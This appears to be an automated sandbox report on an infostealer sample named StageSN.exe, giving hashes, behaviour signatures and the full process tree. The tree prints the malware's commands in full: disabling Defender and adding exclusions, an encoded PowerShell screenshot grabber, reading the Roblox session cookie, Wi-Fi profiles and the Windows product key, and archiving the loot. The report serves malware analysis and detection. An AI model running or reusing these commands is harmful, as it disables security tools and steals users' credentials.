Analysis

  • max time kernel
    141s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-06-2024 13:18

General

  • Target

    CriticalFiles/StageSN.exe

  • Size

    6.0MB

  • MD5

    6827ad0bc2db5262ba83e58e489452c0

  • SHA1

    c7b04529a9ac85dd2fd6ea46cbc71a9841c0b207

  • SHA256

    d020e692f2f2d30280d169b8b4ec3285adbb1e9f27abb35db6c88bb1999e8a26

  • SHA512

    43bbb7353f7d48cf0dd90337b9e3aa507e1212ac1eb7bdd04711bf941f1f991d310bba553533bf369e18571bf08f570f5f8cb8a1dc0d683bff0da7c3708d7438

  • SSDEEP

    98304:07EtdFBCbamaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4RLOuAKVq0DwKyf:0yFIeeN/FJMIDJf0gsAGK4RauAKVFw5f

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 44 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe
    "C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2792
    • C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe
      "C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1668
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CriticalFiles\StageSN.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2408
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3168
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:216
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4628
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3012
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3548
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:876
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:4656
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2036
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3024
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1496
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
            4⤵
              PID:4608
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4636
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:3684
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1900
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:408
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4vnwfldb\4vnwfldb.cmdline"
                5⤵
                  PID:1664
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5256.tmp" "c:\Users\Admin\AppData\Local\Temp\4vnwfldb\CSCF3E097A09014CD6A0AB65DF38E3CA.TMP"
                    6⤵
                      PID:4672
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1932
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1392
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3664
                  • C:\Windows\system32\attrib.exe
                    attrib -r C:\Windows\System32\drivers\etc\hosts
                    4⤵
                    • Drops file in Drivers directory
                    • Views/modifies file attributes
                    PID:2648
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:1628
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:3224
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                      3⤵
                        PID:2980
                        • C:\Windows\system32\attrib.exe
                          attrib +r C:\Windows\System32\drivers\etc\hosts
                          4⤵
                          • Drops file in Drivers directory
                          • Views/modifies file attributes
                          PID:2596
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:3208
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:1488
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                            3⤵
                              PID:2220
                              • C:\Windows\system32\tasklist.exe
                                tasklist /FO LIST
                                4⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2396
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              3⤵
                                PID:4268
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  4⤵
                                    PID:4080
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:2024
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:3376
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                      3⤵
                                        PID:4328
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3148
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                        3⤵
                                          PID:3112
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                            4⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2580
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "getmac"
                                          3⤵
                                            PID:900
                                            • C:\Windows\system32\getmac.exe
                                              getmac
                                              4⤵
                                                PID:5032
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI27922\rar.exe a -r -hp"sn" "C:\Users\Admin\AppData\Local\Temp\qf7AJ.zip" *"
                                              3⤵
                                                PID:1952
                                                • C:\Users\Admin\AppData\Local\Temp\_MEI27922\rar.exe
                                                  C:\Users\Admin\AppData\Local\Temp\_MEI27922\rar.exe a -r -hp"sn" "C:\Users\Admin\AppData\Local\Temp\qf7AJ.zip" *
                                                  4⤵
                                                  • Executes dropped EXE
                                                  PID:528
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                3⤵
                                                  PID:5044
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic os get Caption
                                                    4⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:940
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                  3⤵
                                                    PID:3448
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic computersystem get totalphysicalmemory
                                                      4⤵
                                                        PID:3252
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                      3⤵
                                                        PID:876
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic csproduct get uuid
                                                          4⤵
                                                            PID:3740
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                          3⤵
                                                            PID:4320
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                              4⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:4340
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                            3⤵
                                                              PID:1960
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                4⤵
                                                                • Detects videocard installed
                                                                PID:1800
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                              3⤵
                                                                PID:1980
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                  4⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:2248

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d85ba6ff808d9e5444a4b369f5bc2730

                                                            SHA1

                                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                                            SHA256

                                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                            SHA512

                                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                            Filesize

                                                            944B

                                                            MD5

                                                            2e907f77659a6601fcc408274894da2e

                                                            SHA1

                                                            9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

